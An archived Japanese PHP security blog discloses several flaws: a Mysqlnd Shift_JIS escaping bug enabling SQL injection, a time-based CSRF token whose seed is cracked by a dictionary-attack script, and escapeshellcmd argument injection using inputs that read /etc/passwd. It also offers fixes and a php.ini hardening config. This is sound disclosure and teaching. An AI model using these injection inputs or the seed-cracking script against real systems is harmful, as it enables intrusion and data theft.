[PR]小規模ECサイトに最適なWAF、SiteGuard Lite

徳丸浩の日記


2011年08月30日

_RSSフィードをリダイレクトします

既にご案内のように、徳丸浩の日記は、http://blog.tokumaru.org/に移転しております。旧コンテンツは残しますが、あらたな投稿はないため、読者の便宜のため9月1日を目処に、フィードを新サイトにリダイレクトする予定です。


現在のRSSフィード

新サイトのRSSフィード

従来のフィードの読者は、何もしなくても新しいブログエントリを購読できます。あるいは、適宜新サイトのフィードを購読し、旧フィードを削除するなどの処理をお願いいたします。

以上、お手数をおかけしますが、よろしくお願いいたします。


2011年07月01日 徳丸浩の日記を移転します / ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る

サーバーの能力の問題もあり、「徳丸浩の日記」を以下のURLに移転致します。旧のコンテンツはそのままとし、新しいエントリから新ブログの方に書いていきます。

徳丸浩の日記 (blog.tokumaru.org)

新ブログの最初のエントリとして、「ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る」を書きましたので、ぜひお読みください。


2011年03月29日

_PDO/MySQL(Windows版)の文字エンコーディング指定の不具合原因

前回のブログ「PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合(脆弱性)あり」にて、PHP5.3.6(本エントリ執筆時点での最新版)からPDOにてサポートされた文字エンコーディング指定がWindows版では正しく動作しないことを報告しました。Linuxでは正常に動作するので不思議だなという話になっていたのですが、千葉征弘さん(@nihen)が調べてくださった結果がtwitter上で発表されました(toggerによるまとめ「PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合にまつわる件」)。この件につき、当ブログでも報告します。

問題点の復習

PHP5.3.6以降のPDOでは、データベースに接続する際の文字エンコーディングを、接続文字列内にcharset=utf8等の形で指定することができます。PDO+MySQLの組み合わせの場合、Windows版のPHPからShift_JISでMySQLに接続する場合に、文字列のエスケープが正常に動かず、SQLインジェクション脆弱性の原因になっていました。

問題の原因

PHPのMySQLネイティブ・ドライバ(Mysqlnd)にバグがありました。ext/mysqlnd/mysqlnd_charset.cというファイル中のShift_JISの判定部分にバグがあります。

330 #define valid_sjis_head(c) ( (0x81 <= (c) && (c) <= 0x9F) && \
331     (0xE0 <= (c) && (c) <= 0xFC))
332 #define valid_sjis_tail(c) ( (0x40 <= (c) && (c) <= 0x7E) && \
333     (0x80 <= (c) && (c) <= 0x7C))

[http://svn.php.net/viewvc/php/php-src/trunk/ext/mysqlnd/mysqlnd_charset.c?view=markup]

これだけだとどこが悪いのか分かりにくいかもしれませんが、cp932の場合の同様の処理と比べるとよく分かります。

213 	#define valid_cp932head(c) ( (0x81 <= (c) && (c) <= 0x9F) || (0xE0 <= (c) && c <= 0xFC))
214 	#define valid_cp932tail(c) ( (0x40 <= (c) && (c) <= 0x7E) || (0x80 <= (c) && c <= 0xFC)) 

[http://svn.php.net/viewvc/php/php-src/trunk/ext/mysqlnd/mysqlnd_charset.c?view=markup]

全体のORをとらないといけないところをANDをとっているので、マクロvalid_sjis_headは常に偽を返します。このため、すべてのバイトが1バイト文字と認識されることになり、文字エンコードとしてLatin1(ISO8859-1)を指定した場合と同じ挙動となっています。これは、先の評価の結果と一致します。文字エンコーディングとしてcp932を指定した場合は正しく動作します。

また、333行目の末尾付近の0x7Cは、正しくは0xFCでしょう。ちょっと雑な作りというか、このあたり「やっつけ仕事」という印象を受けます。テストはしていないでしょうね。

なお、WindowsとLinuxで挙動が異なる理由は、WindowsではMySQLとの接続にMySQLネイティブ・ドライバ(Mysqlnd)が使用され、Linux(Unix)ではデフォルトでMySQLクライアント・ライブラリが使用されるからです(参照→PHP公式マニュアル)。上記のバグはMySQLネイティブ・ドライバ固有の問題なので、MySQLクライアント・ライブラリを使用する場合(Unix/Linuxのデフォルト設定)には影響しません。

どうすればよいか

では、どう書けばよいということですが、そもそもデータベースとの接続にShift_JISを使うこと自体が好ましくないので、結局前回の指摘と変わりません。再掲すると以下のようになります。

  • 静的プレースホルダを用いる
  • データベース接続の文字エンコーディングにはUTF-8を用いる

具体的には、以下のようにすると良いでしょう。

$dbh = new PDO('mysql:host=localhost;dbname=test;charset=utf8', USERNAME, PASSWORD,
               array(PDO::ATTR_EMULATE_PREPARES => false));
// set names は必要ない
// 後はプレースホルダによりSQLを呼び出す

ただし、既存のアプリケーションで、かつWindows環境でShift_JISを使っている場合には、文字エンコーディングとしてcharset=cp932を指定するとよいでしょう。その場合でも、array(PDO::ATTR_EMULATE_PREPARES => false)の指定により静的プレースホルダを用いることを強く推奨します。


2011年03月22日

_PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合(脆弱性)あり

PHP5.3.6からPDO/MySQLにてデータベースの接続文字列にて文字エンコーディングが指定可能となりました。この機能を検証した結果、Linux上では正常な動作を確認しました。Windows版でも一見動作するようですが、動的プレースホルダ内部のエスケープ処理に不備があり、Shift_JISでデータベースと接続している際にSQLインジェクション脆弱性の可能性があります。

きっかけ

@haruyamaさんのツイートがきっかけで、PHP5.3.6からPDOの文字エンコーディング指定が有効となったことを知りました。

PHP 5.3.6以降では PDO/MySQLのDSNでのcharset指定が有効になったようです. (MySQL 4.1.11以降, MySQL 5.0.7以降, もしくはMySQLNDを利用している場合)

[http://twitter.com/#!/haruyama/status/48534861631324160より引用]

これは重要な改良です。以前、「ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション) 」で報告したように、従来PDOはデータベース接続文字列中の文字エンコーディング指定を無視しており、my.cnfファイル名を指定する方法でしか文字エンコーディングを正しく指定する方法がありませんでした。この方法を使っていない場合や、Windows環境などmy.cnfのファイル名を接続時に指定できない環境では、SQLインジェクション脆弱性の原因になる場合がありました。文字エンコーディングの指定が容易になると、安心してPDOを使うことができるはずです。

このため、本当に安心してPDOを使えるようになったかどうかを検証してみました。

検証内容

検証環境としては、Windows Server 2003とLinux(Ubuntu 10.04)の2種類の環境を用意しました。

WindowsLinux
OSWindows Server 2003Ubuntu 10.04
PHPPHP5.3.6(zip)PHP5.3.6(ソースからmake)
MySQLMySQL 5.1.37MySQL 5.1.41

テーブルの文字エンコーディングはUTF-8、データベースとの接続に用いる文字エンコーディングはShift_JISを用いました。MySQLのバージョンが少し古めですが検証には問題ないと思われます。

検証では以下の三点を確認しました。

  • データベース接続時に文字エンコーディング指定がなされているか*1
  • 文字エンコーディングは正しく変換されるか
  • 動的プレースホルダにて文字列リテラルのエスケープは文字エンコーディングを考慮しているか

検証に用いたスクリプトの概要を以下に示します。

<?
// ソースの文字エンコーディングはShift_JIS
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test;charset=sjis', USERNAME, PASSWORD);
    $sth = $dbh->prepare("select * from test5c WHERE a=:a");
    $sth->setFetchMode(PDO::FETCH_NUM);
    $a = "ソ\' OR 1 = 1#--";   // 「ソ」の後ろの「\」は「ソ」の2バイト目の0x5cに対するエスケープ
    $sth->execute(array(':a' => $a));
    while ($data = $sth->fetch()) {
      var_dump($data);
    }
} catch (PDOException $e) {
    die($e->getMessage());
}

結果

WindowsとLinuxの環境で検証した結果を以下に示します。

WindowsLinux
データベース接続時の文字エンコーディング指定
文字エンコーディングの変換
エスケープ時の文字エンコーディング考慮×

WindowsとLinuxの両方を試した理由は、「Linuxでは期待通り動作するがWindowsには対応していない」状況を想定していたのですが、結果はご覧の通り、Windowsでは中途半端に対応している(けど結局使えない)という予想外の結果となりました。Windows上の動作が合点がいかなかったので、念のためWindows Server 2003のクリーンな環境にMySQL(5.5.10)とPHP(5.3.6)をインストールした環境でも試しましたが、結果は同じでした。古いバージョンのPHPが悪さをしていたなどの問題でもなさそうです。

まとめ

PHP5.3.6以降で対応しているPDOの文字エンコーディング指定を検証しました。Linux環境では期待通り安全に動作し、Windowsではエスケープの文字エンコーディングが考慮されていないという結果になりました。このため、Windows環境では依然として、SQLインジェクション脆弱性の可能性が残ります。

このため、PDOを安全に使うには、静的プレースホルダと文字エンコーディングとしてUTF-8の指定が有効と考えられます。すなわち、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション) で報告したように、以下を推奨します。

  • 静的プレースホルダを用いる
  • データベース接続の文字エンコーディングにはUTF-8を用いる

具体的には、以下のようにすると良いでしょう。

$dbh = new PDO('mysql:host=localhost;dbname=test;charset=utf8', USERNAME, PASSWORD,
               array(PDO::ATTR_EMULATE_PREPARES => false));
// set names は必要ない
// 後はプレースホルダによりSQLを呼び出す

PHP5.3.6のPDO改良の検証は始まったばかりです。とくに、WindowsとLinuxで動作が異なる原因は今回未着手です。このエントリがきっかけとなって、検証に参加される方が増えることを期待します。

追記(2011/03/29)

千葉征弘さん(@nihen)の調査により、この問題の原因がPHPのMySQLネイティブ・ドライバ(Mysqlnd)のバグだと分かりました。詳しくはこちらを参照ください。

*1 Wiresharkによるネットワークキャプチャにより確認しました


2011年01月27日

_CSRF対策のトークンをワンタイムにしたら意図に反して脆弱になった実装例

橋口誠さんから今話題の書籍パーフェクトPHP (PERFECT SERIES 3)を献本いただきました。ありがとうございます。このエントリでは同書のCSRF対策の問題点について報告したいと思います*1

本書では、CSRFの対策について以下のように説明されています(同書P338)。

CSRFへの対応方法は、「ワンタイムトークンによるチェックを用いる」「投稿・編集・削除などの操作の際にはパスワード認証をさせる」などがあります。一番確実な方法は両者を併用することですが、ユーザ利便性などの理由から簡略化する場合でもワンタイムトークンによるチェックだけは実装するべきです。

ワンタイムトークンの利用を推奨していますが、実はCSRF対策の場合ワンタイム性は必須ではありません。安全なウェブサイトの作り方のCSRF対策の項には以下のように書かれています。

まず、利用者の入力内容を確認画面として出力する際、合わせて秘密情報を「hidden パラメータ」に出力するようにします。この秘密情報は、セッション管理に使用しているセッションID を用いる方法の他、セッションID とは別のもうひとつのID(第2 セッションID)をログイン時に生成して用いる方法などが考えられます。生成するID は安全な擬似乱数を用いて、第三者に予測困難なように生成する必要があります。

[安全なウェブサイトの作り方より引用]

秘密情報(トークン)としてセッションIDを用いる方法の他、セッションIDとは別に安全な乱数を用いてトークンを生成する方法が記載されています。トークンを生成する場合も「ログイン時に生成」とあることから、セッション毎にユニークではあっても、ワンタイム性は求めていません。すなわち、CSRF対策のトークンの必須要件は「第三者から推測が困難」という推測困難性だけです。しかし、書籍などを見ていると、安全でないワンタイムトークンの生成方法が紹介されていることがあります。ワンタイムにすることで、更にセキュリティを強化するつもりなのでしょうが、これではセッションIDをトークンとして用いる方法よりも安全性が下がってしまいます。

パーフェクトPHPの場合はどうでしょうか。同書P339からP340には以下のようにトークン生成のスクリプトが紹介されています。

function get_oken($key = '') {  // 引用者注:関数名は誤植らしい
  $_SESSION['key'] = $key;
  $token = sha1($key);
  return $token;
}
// 中略
// ワンタイム生成用文字列
$seed = 'secret';
// 中略
$key = $seed . '_' . microtime();
$token = get_token($key);

ご覧のように、「種」となる$seed(この場合は「secret」)とマイクロ秒までの日時を連結してSHA-1ハッシュをとったものとなっています。しかし、マイクロ秒とはいえ日時を元にしているので、予測可能な情報を元にトークンを生成していることになり、心配です。$seedの値がばれなければ攻撃は難しいと思われるかもしれませんが、パーフェクトPHPには$seedに関する注意はなく、そのままコピペして使う人が出てきそうです。その場合は、はっきりと脆弱性といえるでしょう。

あるいは、$seedの値が'secret'となっているわけだから、明記はされていないが暗黙の了解として$seedは本番環境では変更して使うのだという意図かもしれません。仮にそうだとして、パーフェクトPHPに説明されているCSRF対策(以下パーフェクト方式と表記)の$seedの値を外部から推測できないかを実験してみました。以下の実験では、パーフェクト方式の$seedをパスワードのような数文字の文字列と想定して、辞書攻撃による推測を試みます。

まず、攻撃対象のサイトですが、簡単にするために、単にトークンを生成して返すだけです。

<?php
$seed = 'secret';
$key = $seed . '_' . microtime();
$token = sha1($key);
echo $token;
?>

このトークンを元に、$seedを辞書攻撃で解析するスクリプトをPHPで作成しました。スクリプトは以下の通りです。

<?php
function get_token($seed, $microtime) {
  $key = $seed . '_' . $microtime;
  return sha1($key);
}

function calc_diff_time($a, $diff) {
  $a0 = $a[0] + $diff;
  $a1 = $a[1];
  if ($a0 > 1000000) {
    $a0 -= 1000000;
    $a1++;
  } else if ($a0 < 0) {
    $a0 += 1000000;
    $a1--;
  }
  //printf("0.%06d00 %d\n", $a0, $a1);
  return sprintf("0.%06d00 %d", $a0, $a1);
}

function get_dictionary() {
  $dic = array();
  $fp = fopen('password.lst', 'r');
  while (! feof($fp)) {
    $line = rtrim(fgets($fp, 1024));
    if ($line !== '' && $line[0] !== '#') {
      $dic[] = $line;
    }
  }
  fclose($fp);
  return $dic;
}

function check_token($token, $seed, $microtime) {
  $token1 = get_token($seed, $microtime);
  return ($token == $token1);
}

  $dic = get_dictionary();

  $m0 = microtime();
  $token = file_get_contents('http://example.jp/onetimetoken.php');
  $m1 = microtime();
  echo 'server token: ' . $token . "\n";

  $m = $m0;
  echo "m0 = $m0\n";
  echo "m1 = $m1\n";
  $a = explode(' ', $m);
  $a[0] = (int)substr($a[0], 2, 6);
  $a[1] = (int)$a[1];

  $count = count($dic);
  for ($t = 0; $t < 1000000; $t++) {
   $mx1 = calc_diff_time($a, $t);
   $mx2 = calc_diff_time($a, -$t);
   for ($i = 0; $i < $count; $i++) {
    $seed = $dic[$i];
    if (check_token($token, $seed, $mx1)) {
      echo "seed = $seed\n";
      echo "match $t\n";
      echo "microtime = $mx1\n";
      exit(0);
    }
    if (check_token($token, $seed, $mx2)) {
      echo "seed = $seed\n";
      echo "match -$t\n";
      echo "microtime = $mx2\n";
      exit(0);
    }
   }
  }

これは以下の手順で$seedの値を推測しています

  1. 辞書ファイルを読み込む
  2. 攻撃対象サイトにアクセスしてトークンを得る
  3. 現在時刻を基準に、時刻を1マイクロ秒ずつ前後にずらしながら繰り返し
  4. 辞書中の単語を順に試しながらトークンを生成する
  5. 攻撃対象から得たトークンと一致するものがあれば終了

辞書ファイルとしてはJohn the Ripperに添付された約3000語のパスワード辞書を用いました。実行例を以下に示します。

$ time php get-seed.php
seed = secret
match -4940
microtime = 0.84839400 1296101921

real    2m7.532s
user    2m7.238s
sys     0m0.056s

2分7秒で$seedがsecretであることが判明しています。2分7秒はチャンピオンデータであり、これより時間が掛かる場合もありますが、30分もあればほぼ確実に$seedが得られます。すなわち、辞書にのっているような単語を$seedに使ってしまうと、現実的な時間内に$seedが解読され、CSRF攻撃される可能性があるということです。

なお、本書のP340では、ワンタイムトークンのチェックの際に、トークンが一致した場合のみセッション変数からトークンを削除していますが、本来はマッチしない場合もトークンを削除するべきです。トークンが一致しない場合にセッション変数のトークンを削除していないので、攻撃者はマイクロ秒単位の時刻をずらしながらトークンを生成して次々に攻撃することで、攻撃確率を高めることができます。

まとめ

パーフェクト方式のCSRF対策は現在時刻を元にしているので、ハッシュ関数を通しても、内部の「種」の文字列を推測される危険性があります。そして、種がばれてしまうと、ワンタイムトークンは時刻の関数となるので、トークン推測によるCSRF攻撃の危険性があります。マイクロ秒単位の時刻を元にしているので、攻撃成功の確率は高くはありませんが、時刻推測の精度を高め、攻撃を繰り返すことにより、攻撃が成功する確率を高めることが可能です。

興味深いことに、この事例は、ワンタイムトークンを選んだことにより、かえって攻撃の成功確率が高くなっています。もしもセッション開始時に同じ方法でトークンを生成した場合、セッション開始時刻を攻撃者が正確に推測することは困難なので、攻撃の成功率はかなり低くなります(ただし、その場合でも時刻を元にしたトークンは好ましくありません)。一方、ワンタイムトークンの場合は、トークンを生成するページを罠ページから閲覧させることにより、トークンの元となる時刻はかなり正確に測定できます。そのため、トークンが一致する確率も高くなります。

この事例から得られる教訓は、トークン生成は安全な乱数を用いるべきであり、安全な疑似乱数生成器がない場合は、セッションIDそのものを使う方法が妥当だということです。ワンタイムにすることで一層セキュアにしようとした意図があだとなり、かえって危険な実装になったのは皮肉としか言いようがありません。

なお、同書のP255には、「実践的な開発におけるワンタイムトークンの実装例」があり、こちらはトークン生成の種にセッションIDも含めているので、上記のような脆弱性はありません。しかし、ここで紹介した方の対策が「脆弱な例」と説明されているわけではないので、読者は注意が必要です。

*1 献本の批判をすることに最初躊躇しておりましたが、橋口さんからどんどん指摘してくださいというコメントを頂きましたので、公開に踏み切りました。橋口さんの寛大な態度に敬意を表します。

本日のツッコミ(全9件) [ツッコミを入れる]

Before...

_ こういち [いつも参考にさせていただいております。ありがとうございます。 また書籍も購入させていただきました。 さて今回「疑似..]

_ いーさん [例が脆弱になったのは、トークンの生成に公開されているロジックを使っていることが原因です。ワンタイムかどうかは関係あり..]

_ かめ [はじめまして。 徳丸さんの記事については、そういう例もあるんだなーと 思いながら拝見しておりました。勉強になります..]


2011年01月04日

_escapeshellcmdの危険な実例

 先日の日記PHPのescapeshellcmdの危険性ではPHPのescapeshellcmd関数の危険性について指摘しましたが、脆弱となる実例を挙げていなかったので、「本当に危険なのか」と半信半疑の方もおられると思います。そこで、同関数が危険となる実例を考えたので報告します。

grepを使って、サーバー内を検索するスクリプトを考えます。

<?php
  header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
  $key = @$_GET['key'];
  $out = shell_exec('grep --no-filename "' . escapeshellcmd($key) . '" /var/data/*');
  echo htmlspecialchars($out, ENT_COMPAT, 'UTF-8');
?>
</pre></body>
</html>

このスクリプトは、外部からのキーワードを/var/data/内のファイル群から検索して表示するものです。PHPのshell_execute関数を用いて、実行結果を文字列として返し、htmlspecialcharsでHTMLエスケープしています。検索キーはescapeshellcmdでエスケープした結果をダブルクォートで囲っています。

一見、なんの問題もないスクリプトに見えます。まずは正常系の結果です。key=bookで実行してみます。

book:村上春樹
book:芥川龍之介
book:シェークスピア

bookを含む行が表示されました。

次に攻撃です。key=:"+"/etc/passwd として実行してみます。以下の結果となります。

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
…略

/etc/passwdの内容が表示されました。エスケープしているのに、なぜこの結果になるのでしょうか。

それは、escapeshellcmdが「' および " は、対になっていない場合にのみエスケープされます。」という仕様のためです。このため、grepの起動文字列は次のようになっています。

grep --no-filename ":" "/etc/passwd" "/var/data/*"

/etc/passwdの各行にはコロンが含まれていますから、これで/etc/passwdの全行が表示されます。適当な文字がなければ「$」(行末にマッチ)などを指定してもいいですね。

あるいは、PHPのソースを表示することもできます。key=$"+"/var/www/html/grep.php と指定すると、以下の表示になります。

<?php
  header('Content-Type: text/html; charset=UTF-8');
?>
<html>
<body><pre>
<?php
  $key = @$_GET['key'];

この検索プログラム自体のソースが表示されました。スクリプトのソースが見えれば、他の脆弱性を探すのも楽ちんですよね。

escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます。」という仕様により、1つのパラメータが2つのパラメータに分かれてしまうことが問題です。これはescapeshellcmdの脆弱性というよりは、仕様の不備と言うしかないでしょうね。マニュアルに書いてある通りの動作が問題な訳ですから。というわけで、escapeshellcmdよりはescapeshellargを使えということと、そもそもOSコマンドを呼ばないなどのもっと良い方法を検討しましょう、というお話です。


2011年01月01日

_PHPのescapeshellcmdの危険性

本を書いています。初稿を一通り書き上げ、第2稿を作成中です。その過程で見つけたことを報告します。

PHPのescapeshellcmdはパラメータをクォートしないので呼び出し側でクォートする必要がありますが、escapeshellcmdの仕様がまずいために、呼び出し側でクォートしても突破できることが分かりました。

escapeshellcmdの仕様

PHPにはシェルのパラメータをエスケープする関数が2つあります。escapeshellargとescapeshellcmdです。escapeshellargは、エスケープだけでなくシングルクォートでクォートもしてくれます(引用符で囲むことをクォートするといいます)。エスケープ方法も、シングルクォートで囲む場合のエスケープ方法に従っているので、割合安心して利用できます*1。一方、escapeshellcmdは、エスケープのみでクォートしないので、呼び出し側でクォートする必要があります。

PHPのマニュアルには、このあたりのことがちゃんと書いてあります。

<?php

$e = escapeshellcmd($userinput);

// ここでは $e がスペースを含んでいても関係ない

system("echo $e");

$f = escapeshellcmd($filename);

// ここでは気を遣い、クォートを使用する

system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");

?>

[PHP: escapeshellcmdより引用]

スペースのことを気にする理由は、スペースにより第2、第3の追加のパラメータを挿入される攻撃を防ぐためでしょう。その考え方自体は問題ありません。しかし、ここに穴はないでしょうか。

追加のパラメータの挿入を防ぐためには、ダブルクォートで囲むだけではダメで、パラメータ中にダブルクォートがある場合は、ダブルクォートをエスケープする必要があります。以下のように。

  echo "abc\"def"

この結果は「abc"def」となります。ところが、escapeshellcmdはダブルクォートをエスケープしますが、マニュアルに妙なことが書いてあります。

' および " は、対になっていない場合にのみエスケープされます。

[PHP: escapeshellcmdより引用]

ということは、対になっている場合はエスケープしないのでしょうか。さっそく試してみましょう。

【サンプル】
<?php
   echo escapeshellcmd('abc"def"ghi') . "\n";
【実行結果】
abc"def"ghi

マニュアルに書いてある通りですね。ダブルクォートが3個以上の場合は、偶数の場合はエスケープなし、奇数の場合は最後のダブルクォートのみエスケープされるようです。しかし、これではまずい場合があります。PHPのマニュアルに書いてある「気を遣」っている方のサンプルに、「aaa" "/etc/passwd」を入力してみましょう。

【スクリプト】
$filename = 'aaa" "/etc/passwd';
$f = escapeshellcmd($filename);
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
【実行結果】
 touch: `/etc/passwd'にtouchできませんでした: Permission denied
 -rw-r--r-- 1 root    root    1320 2010-12-31 14:48 /etc/passwd
 -rw-r--r-- 1 wasbook wasbook    0 2011-01-01 17:33 /tmp/aaa

第2のパラメータとして、/etc/passwdが挿入されています。touchの方は権限がないのでエラーになっていますが、lsの方はしっかり表示されています。この際のsystem関数の引数は以下の通りです。

touch "/tmp/aaa" "/etc/passwd"; ls -l "/tmp/aaa" "/etc/passwd"

コマンドラインという観点からは非の打ち所がない指定ですが、セキュリティという観点では非常に問題です。これにより、意図しないファイルを追加されたり、オプションを追加する(例えば、findコマンドの-execオプション)ことで、意図しない動作を引き起こす可能性があります。

この原因は、escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます」という仕様にあります。まったく余計なお世話としか言いようがありません。この仕様では、恐ろしくてescapeshellcmdは使えませんし、マニュアルにここまではっきり書いてある仕様を今さら変えられないでしょう。escapeshellcmdはお蔵入りするしかないと思います。幸い、escapeshellargの方はまともな仕様と思われますので、escapeshellargで代替してください。

ただし、そもそもOSコマンドを呼ぶのがよいかとか、もっと良い方法はないのかという疑問が出てきます。もっと良い方法はあります。それは、本が出てからのお楽しみ、ということで。


追記:2011年1月4日 12:50

escapeshellcmdを使うと危険となる実例について、日記を書きましたので参考になさってください。。escapeshellcmdの危険な実例

*1 ただし、ロケールの問題は注意が必要です


2010年10月03日 「PHPで作成する携帯会員サイトの基本」の諸問題(1)

_問題点の概要

CodeZineから発表されている「PHPで作成する携帯会員サイトの基本」という記事はツッコミどころ満載で、既にいくつかの問題が修正されているのだが、まだ残っている問題があることや、修正内容にも疑問があるので、いくつか指摘してみたい。ざっと書いたところ、ものすごく長くなりそうだったので、小出しで「連載」の形で書く。忙しいので途中でやめるかもしれない。今回は、問題点の概要を報告する。

くだんの記事をざっと見たところ、以下の問題を見つけた。

IPアドレス制限のない「かんたんログイン」

Net_UserAgent_Mobileを用いて携帯電話の端末IDを取り出し、かんたんログインを実装しているが、ゲートウェイのIPアドレス経由であることを確認していない。以下のリストは、端末IDを取り出しているところ(4ページ目)。

$agent = Net_UserAgent_Mobile::singleton();
$uid = $agent->getUID();

かんたんログインは、IPアドレスチェックをしても安全とはいえないが、IPアドレスチェックをしていないのは論外といえる。

参考→「高木浩光@自宅の日記 - はてなのかんたんログインがオッピロゲだった件

クロスサイト・スクリプティング(XSS)

プロフィール画面にて、氏名の表示箇所にクロスサイト・スクリプティング脆弱性がある(4ページ目)。以下のリストが該当の表示部分だが、登録・更新の画面でも文字種などはチェックされていない。加えて、データベースには、どの項目も255文字までの登録が可能なので、攻撃には十分な文字数である。

<?php $userInfo = $ss->getSession(); ?>
ようこそ、<?php echo $userInfo['user_name']; ?>さん    <br /> 

このページはユーザプロファイルの表示画面だから、本来は、自分自身のユーザ情報のみが表示される。この制約下で、どこまでXSS攻撃が可能かどうかを考えることは、脆弱性のリスクを分析するトレーニングとして好適だろう。ヒントとしては、このサンプルスクリプトは、URLにセッションIDを埋め込んでいることと、かんたんログインをサポートしていることである。

無意味なセッションIDの再生成

ページ生成毎にHTTP_Session2::regenerateId(true);を呼び出している。すなわち、ワンタイムのセッションIDを採用している。脆弱性ではないが、以下の欠点があり、使い物にならないだろう。

  • ブラウザ機能による「戻る」操作ができない
  • リロードするとセッションが切れる(ログアウト状態になる)
  • 電波状態などの理由で一度でも通信が途切れるとセッションが切れる

最初の稿では、regenerateId()の引数trueが省略されていたので、上記欠点がない代わりに、セキュリティ上はなんの効果もなく、逆にログアウト処理ができないという副作用があった。

MySQLの設定によってはSQLインジェクション脆弱性

最初の稿では、Shift_JIS文字エンコーディングでPDOを使っているため、SQLインジェクション脆弱性があった(参考→「ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション) 」)。現在は改修されているが、それでもPHPの内部文字エンコーディングをShift_JISにしている点はそのままで、好ましくない。

元パスワードを確認しないパスワード変更機能

これは見出しの通り

パスワードの保存方法

元々は平文でパスワードを保存していたが、その後改修され、MD5ハッシュの形で保存されている。要件によってはパスワードの平文保存が絶対ダメとまでは思わないが、仮にハッシュで保存するのであれば、saltなしのMD5ハッシュでは意味がない。これについては後日詳しく書く予定。

まとめ

PHPで作成する携帯会員サイトの基本 」という記事について、主にセキュリティ上の問題点の概要を説明した。現在は改修されているものもあるが、SQLインジェクションあり、XSSあり、IPアドレス制限すらないオッピロゲのかんたんログインありで、脆弱性のオンパレードだ。SQLインジェクションは改修されたが、他の脆弱性は現時点で改修されていないようだ。読者は、絶対に参考にしてはならないし、ましてやコピペして本番サイト開発に利用してはならない。もっとも、regenerateId(true)の副作用が強すぎて、仮にコピペしても使いものにならないと思われる。

本日のツッコミ(全5件) [ツッコミを入れる]

Before...

_ 徳丸浩 [rooさん、コメントありがとうございます。 そうですね、僕も書きたいと思っているのですが、ちょっと時間がとれません。..]

_ roo [お返事ありがとうございます。 講演資料、大変参考になりました。 saltなしハッシュの危険性がわかりました。 そうい..]

_ (^_^.) [分かりやすかったです。 情報の授業に役立ちました☆ (あ、コピーなどはしていないのでご安心くださいませ。)]


2010年09月27日

_文字コードに起因する脆弱性を防ぐ「やや安全な」php.ini設定

PHPカンファレンス2010にて「文字コードに起因する脆弱性とその対策」というタイトルで喋らせていただきました。プレゼンテーション資料をPDF形式slideshare.netで公開しています。

文字コードのセキュリティというと、ややこしいイメージが強くて、スピーカーの前夜祭でも「聴衆の半分は置いてきぼりになるかもね」みたいな話をしていたのですが、意外にも「分かりやすかった」等の好意的な反応をtwitter等でいただき、驚くと共に喜んでいます。土曜にPHPカンファレンスに来られるような方は意識が高いというのもあるのでしょうね。

さて、その場で少し触れた「文字コードをやや安全に扱う方法」を紹介したいと思います。

実はこの方法を紹介するかどうかは悩みどころでして、完全に安全になるならともかく、「これで全部おk」みたいに開発者が文字コードのセキュリティに無関心になる方法に働くといやだなと思うわけです。しかし、ネットには、既に根拠の不明確なバッドノウハウであふれているわけで、少しマシなバッドノウハウを流通させることで、改善になるのではないかと思い、公開に踏み切りました。しかし、専門家として、どこまで安全にできるかとか、安全になる根拠は示したいと思います。

文字コードをやや安全に扱うphp.ini設定

まずは結論を示します。php.iniに(あるいは.htaccessで)以下を設定します。

;; 出力バッファリングを無効にする (追記:文字エンコーディングの変換をしなければ、On でもいいです)
output_buffering      = Off

;; HTTPレスポンスの文字エンコーディングを設定
default_charset       = UTF-8

;; デフォルトの言語を日本語にする
mbstring.language = Japanese

;; HTTP 入力変換を有効にする
mbstring.encoding_translation = On

;; HTTP 入力エンコーディング変換を UTF-8 に設定(UTF-8→UTF-8の変換)
mbstring.http_input   = UTF-8

;; HTTPレスポンスは変換しない
mbstring.http_output  = pass

;; 内部エンコーディングを UTF-8 に設定
mbstring.internal_encoding = UTF-8    

;; 無効な文字は「?」に
mbstring.substitute_character = "?"

php.iniで指定できない条件として以下も必須です。

htmlspecialcharsの第3引数に必ず'UTF-8'を指定する

PHPのソースはUTF-8でセーブする

データベースの接続・テーブル・データベースの文字エンコーディングは全てUTF-8で統一する

この設定の要点を箇条書きで説明します。

  • Webアプリケーションの入口から出口まですべてUTF-8で統一する
  • 入力時にUTF-8→UTF-8の変換をすることで、不正な文字エンコーディングを除去する
  • HTTPレスポンスの文字エンコーディングをUTF-8と明示する

この設定でなぜ、どこまで安全になるか、PHPカンファレンスで実演した脆弱性デモとの対応で説明します。

文字コードをやや安全に扱うphp.ini設定はなぜ安全か

以下の説明は、先に紹介したプレゼン資料と対比させながらご覧ください。

「デモ1:半端な先行バイトによるXSS」への対応

半端な先行バイトはUTF-8でもあり得ますが、UTF-8→UTF-8変換の過程で半端な先行バイトは除去されます。

「デモ2:UTF-8非最短形式によるパストラバーサル」への対応

非最短形式のUTF-8もUTF-8→UTF-8変換の過程で除去されます

「デモ3:5C問題によるSQLインジェクション」への対応

UTF-8では原理的に5C問題は発生しません

「デモ4:UTF-7によるXSS」への対応

default_charsetをUTF-8に設定することで、HTTPレスポンスヘッダの文字エンコーディングが設定され、UTF-7によるXSSを防げます。

「デモ5:U+00A5によるSQLインジェクション」への対応

実はこれについてはphp.iniだけでは防げませんが、データベース側の設定もUTF-8に統一すれば防げます。

「デモ6:U+00A5によるXSS」への対応

アプリケーションの内部でUTF-8を一貫して使うことにより、文字集合の変更がなくなるので、U+00A5によるXSSは発生しません。

確認方法

PHPカンファレンスでも紹介した「尾骶骨テスト」や「つちよしテスト」が有効です。以下の文字を入力・登録して、どのように表示されるかを調べてください。


  • ¥(U+00A5) バックスラッシュに変換されないか
  • 骶(U+9AB6) JIS X 0208にない文字
  • 𠮷(U+20BB7) BMP外の文字 UTF-8では4バイトになる
